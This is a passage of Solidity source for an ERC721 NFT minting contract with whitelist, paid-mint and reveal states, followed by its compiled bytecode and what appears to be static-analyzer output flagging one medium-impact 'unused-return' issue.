See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } contract NFT is ERC721, Ownable { using Counters for Counters.Counter; using Strings for uint256; enum State {SETUP, FREE, PAID, PAUSE, REVEALED} uint256 public cost = 0.05 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 21; Counters.Counter private tokenIdCounter; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; State public state; mapping(address => uint8) public whitelisted; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); _mint(); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function freeMint(uint8 _mintAmount) public { require(state == State.FREE || state == State.REVEALED, "must be FREE or REVEALED state."); require(_mintAmount <= whitelisted[msg.sender], "Out of quota."); require(tokenIdCounter.current() + _mintAmount <= maxSupply, "maxSupply reached"); whitelisted[msg.sender] -= _mintAmount; for (uint256 i = 1; i <= _mintAmount; i++) { _mint(); } } // public function mint(uint8 _mintAmount) public payable { require(state == State.PAID || state == State.REVEALED, "must be PAID or REVEALED state."); require(_mintAmount <= maxMintAmount, "can not mint more than maxMintAmount"); require(tokenIdCounter.current() + _mintAmount <= maxSupply, "maxSupply reached"); require(msg.value == cost * _mintAmount, "you need to send exact cost."); for (uint256 i = 1; i <= _mintAmount; i++) { _mint(); } } function _mint() internal { tokenIdCounter.increment(); uint256 tokenId = tokenIdCounter.current(); _safeMint(msg.sender, tokenId); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (state != State.REVEALED) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } function setState(State _state) public onlyOwner { state = _state; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function whitelistUserBatch(address[] memory _users, uint8 quota) public onlyOwner { for (uint i = 0; i < _users.length; i++) { whitelisted[_users[i]] = quota; } } function removeWhitelistUser(address _user) public onlyOwner { whitelisted[_user] = 0; } function totalSupply() public view returns (uint256) { return tokenIdCounter.current(); } function withdraw() public payable onlyOwner { // This will payout the owner 100% of the contract balance. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os,) = payable(owner()).call{value : address(this).balance}(""); require(os); // ============================================================================= } }
0x60806040526004361061020f5760003560e01c80636c0360eb11610118578063c6682862116100a0578063d936547e1161006f578063d936547e146105b3578063da3ef23f146105f5578063e985e9c514610615578063f2c4ce1e1461065e578063f2fde38b1461067e57600080fd5b8063c668286214610548578063c87b56dd1461055d578063c87c089c1461057d578063d5abeb011461059d57600080fd5b80638da5cb5b116100e75780638da5cb5b146104ae57806395d89b41146104cc578063a22cb465146104e1578063b88d4fde14610501578063c19d93fb1461052157600080fd5b80636c0360eb146104515780636ecd23061461046657806370a0823114610479578063715018a61461049957600080fd5b806323b872dd1161019b57806342842e0e1161016a57806342842e0e146103b157806344a0d68a146103d157806355f804b3146103f157806356de96db146104115780636352211e1461043157600080fd5b806323b872dd146103495780632448a9fe1461036957806330cc7ae0146103895780633ccfd60b146103a957600080fd5b8063088a4ed0116101e2578063088a4ed0146102b8578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806306fdde0314610249578063081812fc1461026b578063081c8c44146102a3575b600080fd5b34801561022057600080fd5b5061023461022f366004611fb2565b61069e565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b5061025e6106f0565b60405161024091906121df565b34801561027757600080fd5b5061028b610286366004612056565b610782565b6040516001600160a01b039091168152602001610240565b3480156102af57600080fd5b5061025e61081c565b3480156102c457600080fd5b506102d86102d3366004612056565b6108aa565b005b3480156102e657600080fd5b506102d86102f5366004611ec2565b6108d9565b34801561030657600080fd5b5061031060075481565b604051908152602001610240565b34801561032a57600080fd5b506103106109ef565b34801561033f57600080fd5b5061031060095481565b34801561035557600080fd5b506102d8610364366004611dce565b6109ff565b34801561037557600080fd5b506102d8610384366004611eec565b610a30565b34801561039557600080fd5b506102d86103a4366004611d80565b610ad0565b6102d8610b1b565b3480156103bd57600080fd5b506102d86103cc366004611dce565b610bb9565b3480156103dd57600080fd5b506102d86103ec366004612056565b610bd4565b3480156103fd57600080fd5b506102d861040c36600461200d565b610c03565b34801561041d57600080fd5b506102d861042c366004611fec565b610c44565b34801561043d57600080fd5b5061028b61044c366004612056565b610c95565b34801561045d57600080fd5b5061025e610d0c565b6102d861047436600461206f565b610d19565b34801561048557600080fd5b50610310610494366004611d80565b610ee3565b3480156104a557600080fd5b506102d8610f6a565b3480156104ba57600080fd5b506006546001600160a01b031661028b565b3480156104d857600080fd5b5061025e610fa0565b3480156104ed57600080fd5b506102d86104fc366004611e86565b610faf565b34801561050d57600080fd5b506102d861051c366004611e0a565b611074565b34801561052d57600080fd5b50600e5461053b9060ff1681565b60405161024091906121b7565b34801561055457600080fd5b5061025e6110ac565b34801561056957600080fd5b5061025e610578366004612056565b6110b9565b34801561058957600080fd5b506102d861059836600461206f565b611247565b3480156105a957600080fd5b5061031060085481565b3480156105bf57600080fd5b506105e36105ce366004611d80565b600f6020526000908152604090205460ff1681565b60405160ff9091168152602001610240565b34801561060157600080fd5b506102d861061036600461200d565b6113e5565b34801561062157600080fd5b50610234610630366004611d9b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561066a57600080fd5b506102d861067936600461200d565b611422565b34801561068a57600080fd5b506102d8610699366004611d80565b61145f565b60006001600160e01b031982166380ac58cd60e01b14806106cf57506001600160e01b03198216635b5e139f60e01b145b806106ea57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546106ff906123ac565b80601f016020809104026020016040519081016040528092919081815260200182805461072b906123ac565b80156107785780601f1061074d57610100808354040283529160200191610778565b820191906000526020600020905b81548152906001019060200180831161075b57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108005760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600d8054610829906123ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610855906123ac565b80156108a25780601f10610877576101008083540402835291602001916108a2565b820191906000526020600020905b81548152906001019060200180831161088557829003601f168201915b505050505081565b6006546001600160a01b031633146108d45760405162461bcd60e51b81526004016107f790612244565b600955565b60006108e482610c95565b9050806001600160a01b0316836001600160a01b031614156109525760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107f7565b336001600160a01b038216148061096e575061096e8133610630565b6109e05760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107f7565b6109ea838361150a565b505050565b60006109fa600a5490565b905090565b610a093382611578565b610a255760405162461bcd60e51b81526004016107f790612279565b6109ea83838361166f565b6006546001600160a01b03163314610a5a5760405162461bcd60e51b81526004016107f790612244565b60005b82518110156109ea5781600f6000858481518110610a7d57610a7d612458565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908360ff1602179055508080610ac8906123e7565b915050610a5d565b6006546001600160a01b03163314610afa5760405162461bcd60e51b81526004016107f790612244565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6006546001600160a01b03163314610b455760405162461bcd60e51b81526004016107f790612244565b6000610b596006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610ba3576040519150601f19603f3d011682016040523d82523d6000602084013e610ba8565b606091505b5050905080610bb657600080fd5b50565b6109ea83838360405180602001604052806000815250611074565b6006546001600160a01b03163314610bfe5760405162461bcd60e51b81526004016107f790612244565b600755565b6006546001600160a01b03163314610c2d5760405162461bcd60e51b81526004016107f790612244565b8051610c4090600b906020840190611c62565b5050565b6006546001600160a01b03163314610c6e5760405162461bcd60e51b81526004016107f790612244565b600e805482919060ff19166001836004811115610c8d57610c8d612442565b021790555050565b6000818152600260205260408120546001600160a01b0316806106ea5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107f7565b600b8054610829906123ac565b6002600e5460ff166004811115610d3257610d32612442565b1480610d5457506004600e5460ff166004811115610d5257610d52612442565b145b610da05760405162461bcd60e51b815260206004820152601f60248201527f6d7573742062652050414944206f722052455645414c45442073746174652e0060448201526064016107f7565b6009548160ff161115610e015760405162461bcd60e51b8152602060048201526024808201527f63616e206e6f74206d696e74206d6f7265207468616e206d61784d696e74416d6044820152631bdd5b9d60e21b60648201526084016107f7565b6008548160ff16610e11600a5490565b610e1b91906122fb565b1115610e5d5760405162461bcd60e51b81526020600482015260116024820152701b585e14dd5c1c1b1e481c995858da1959607a1b60448201526064016107f7565b8060ff16600754610e6e9190612327565b3414610ebc5760405162461bcd60e51b815260206004820152601c60248201527f796f75206e65656420746f2073656e6420657861637420636f73742e0000000060448201526064016107f7565b60015b8160ff168111610c4057610ed161180f565b80610edb816123e7565b915050610ebf565b60006001600160a01b038216610f4e5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107f7565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610f945760405162461bcd60e51b81526004016107f790612244565b610f9e6000611834565b565b6060600180546106ff906123ac565b6001600160a01b0382163314156110085760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107f7565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61107e3383611578565b61109a5760405162461bcd60e51b81526004016107f790612279565b6110a684848484611886565b50505050565b600c8054610829906123ac565b6000818152600260205260409020546060906001600160a01b03166111385760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107f7565b6004600e5460ff16600481111561115157611151612442565b146111e857600d8054611163906123ac565b80601f016020809104026020016040519081016040528092919081815260200182805461118f906123ac565b80156111dc5780601f106111b1576101008083540402835291602001916111dc565b820191906000526020600020905b8154815290600101906020018083116111bf57829003601f168201915b50505050509050919050565b60006111f26118b9565b905060008151116112125760405180602001604052806000815250611240565b8061121c846118c8565b600c604051602001611230939291906120b6565b6040516020818303038152906040525b9392505050565b6001600e5460ff16600481111561126057611260612442565b148061128257506004600e5460ff16600481111561128057611280612442565b145b6112ce5760405162461bcd60e51b815260206004820152601f60248201527f6d7573742062652046524545206f722052455645414c45442073746174652e0060448201526064016107f7565b336000908152600f602052604090205460ff90811690821611156113245760405162461bcd60e51b815260206004820152600d60248201526c27baba1037b31038bab7ba309760991b60448201526064016107f7565b6008548160ff16611334600a5490565b61133e91906122fb565b11156113805760405162461bcd60e51b81526020600482015260116024820152701b585e14dd5c1c1b1e481c995858da1959607a1b60448201526064016107f7565b336000908152600f6020526040812080548392906113a290849060ff1661235d565b92506101000a81548160ff021916908360ff1602179055506000600190505b8160ff168111610c40576113d361180f565b806113dd816123e7565b9150506113c1565b6006546001600160a01b0316331461140f5760405162461bcd60e51b81526004016107f790612244565b8051610c4090600c906020840190611c62565b6006546001600160a01b0316331461144c5760405162461bcd60e51b81526004016107f790612244565b8051610c4090600d906020840190611c62565b6006546001600160a01b031633146114895760405162461bcd60e51b81526004016107f790612244565b6001600160a01b0381166114ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f7565b610bb681611834565b80546001019055565b5490565b3b151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061153f82610c95565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166115f15760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107f7565b60006115fc83610c95565b9050806001600160a01b0316846001600160a01b031614806116375750836001600160a01b031661162c84610782565b6001600160a01b0316145b8061166757506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661168282610c95565b6001600160a01b0316146116ea5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107f7565b6001600160a01b03821661174c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107f7565b61175760008261150a565b6001600160a01b0383166000908152600360205260408120805460019290611780908490612346565b90915550506001600160a01b03821660009081526003602052604081208054600192906117ae9084906122fb565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b61181d600a80546001019055565b6000611828600a5490565b9050610bb633826119c6565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61189184848461166f565b61189d848484846119e0565b6110a65760405162461bcd60e51b81526004016107f7906121f2565b6060600b80546106ff906123ac565b6060816118ec5750506040805180820190915260018152600360fc1b602082015290565b8160005b81156119165780611900816123e7565b915061190f9050600a83612313565b91506118f0565b60008167ffffffffffffffff8111156119315761193161246e565b6040519080825280601f01601f19166020018201604052801561195b576020820181803683370190505b5090505b841561166757611970600183612346565b915061197d600a86612402565b6119889060306122fb565b60f81b81838151811061199d5761199d612458565b60200101906001600160f81b031916908160001a9053506119bf600a86612313565b945061195f565b610c40828260405180602001604052806000815250611aed565b60006001600160a01b0384163b15611ae257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611a2490339089908890889060040161217a565b602060405180830381600087803b158015611a3e57600080fd5b505af1925050508015611a6e575060408051601f3d908101601f19168201909252611a6b91810190611fcf565b60015b611ac8573d808015611a9c576040519150601f19603f3d011682016040523d82523d6000602084013e611aa1565b606091505b508051611ac05760405162461bcd60e51b81526004016107f7906121f2565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611667565b506001949350505050565b611af78383611b20565b611b0460008484846119e0565b6109ea5760405162461bcd60e51b81526004016107f7906121f2565b6001600160a01b038216611b765760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107f7565b6000818152600260205260409020546001600160a01b031615611bdb5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107f7565b6001600160a01b0382166000908152600360205260408120805460019290611c049084906122fb565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611c6e906123ac565b90600052602060002090601f016020900481019282611c905760008555611cd6565b82601f10611ca957805160ff1916838001178555611cd6565b82800160010185558215611cd6579182015b82811115611cd6578251825591602001919060010190611cbb565b50611ce2929150611ce6565b5090565b5b80821115611ce25760008155600101611ce7565b600067ffffffffffffffff831115611d1557611d1561246e565b611d28601f8401601f19166020016122ca565b9050828152838383011115611d3c57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b0381168114611d6a57600080fd5b919050565b803560ff81168114611d6a57600080fd5b600060208284031215611d9257600080fd5b61124082611d53565b60008060408385031215611dae57600080fd5b611db783611d53565b9150611dc560208401611d53565b90509250929050565b600080600060608486031215611de357600080fd5b611dec84611d53565b9250611dfa60208501611d53565b9150604084013590509250925092565b60008060008060808587031215611e2057600080fd5b611e2985611d53565b9350611e3760208601611d53565b925060408501359150606085013567ffffffffffffffff811115611e5a57600080fd5b8501601f81018713611e6b57600080fd5b611e7a87823560208401611cfb565b91505092959194509250565b60008060408385031215611e9957600080fd5b611ea283611d53565b915060208301358015158114611eb757600080fd5b809150509250929050565b60008060408385031215611ed557600080fd5b611ede83611d53565b946020939093013593505050565b60008060408385031215611eff57600080fd5b823567ffffffffffffffff80821115611f1757600080fd5b818501915085601f830112611f2b57600080fd5b8135602082821115611f3f57611f3f61246e565b8160051b9250611f508184016122ca565b8281528181019085830185870184018b1015611f6b57600080fd5b600096505b84871015611f9557611f8181611d53565b835260019690960195918301918301611f70565b509650611fa59050878201611d6f565b9450505050509250929050565b600060208284031215611fc457600080fd5b813561124081612484565b600060208284031215611fe157600080fd5b815161124081612484565b600060208284031215611ffe57600080fd5b81356005811061124057600080fd5b60006020828403121561201f57600080fd5b813567ffffffffffffffff81111561203657600080fd5b8201601f8101841361204757600080fd5b61166784823560208401611cfb565b60006020828403121561206857600080fd5b5035919050565b60006020828403121561208157600080fd5b61124082611d6f565b600081518084526120a2816020860160208601612380565b601f01601f19169290920160200192915050565b6000845160206120c98285838a01612380565b8551918401916120dc8184848a01612380565b8554920191600090600181811c90808316806120f957607f831692505b85831081141561211757634e487b7160e01b85526022600452602485fd5b80801561212b576001811461213c57612169565b60ff19851688528388019550612169565b60008b81526020902060005b858110156121615781548a820152908401908801612148565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906121ad9083018461208a565b9695505050505050565b60208101600583106121d957634e487b7160e01b600052602160045260246000fd5b91905290565b602081526000611240602083018461208a565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff811182821017156122f3576122f361246e565b604052919050565b6000821982111561230e5761230e612416565b500190565b6000826123225761232261242c565b500490565b600081600019048311821515161561234157612341612416565b500290565b60008282101561235857612358612416565b500390565b600060ff821660ff84168082101561237757612377612416565b90039392505050565b60005b8381101561239b578181015183820152602001612383565b838111156110a65750506000910152565b600181811c908216806123c057607f821691505b602082108114156123e157634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156123fb576123fb612416565b5060010190565b6000826124115761241161242c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610bb657600080fdfea26469706673582212202a35c530eab8549bbd6b6fbb9717227c001a496a70cf40ae1ebb171f738eb53964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
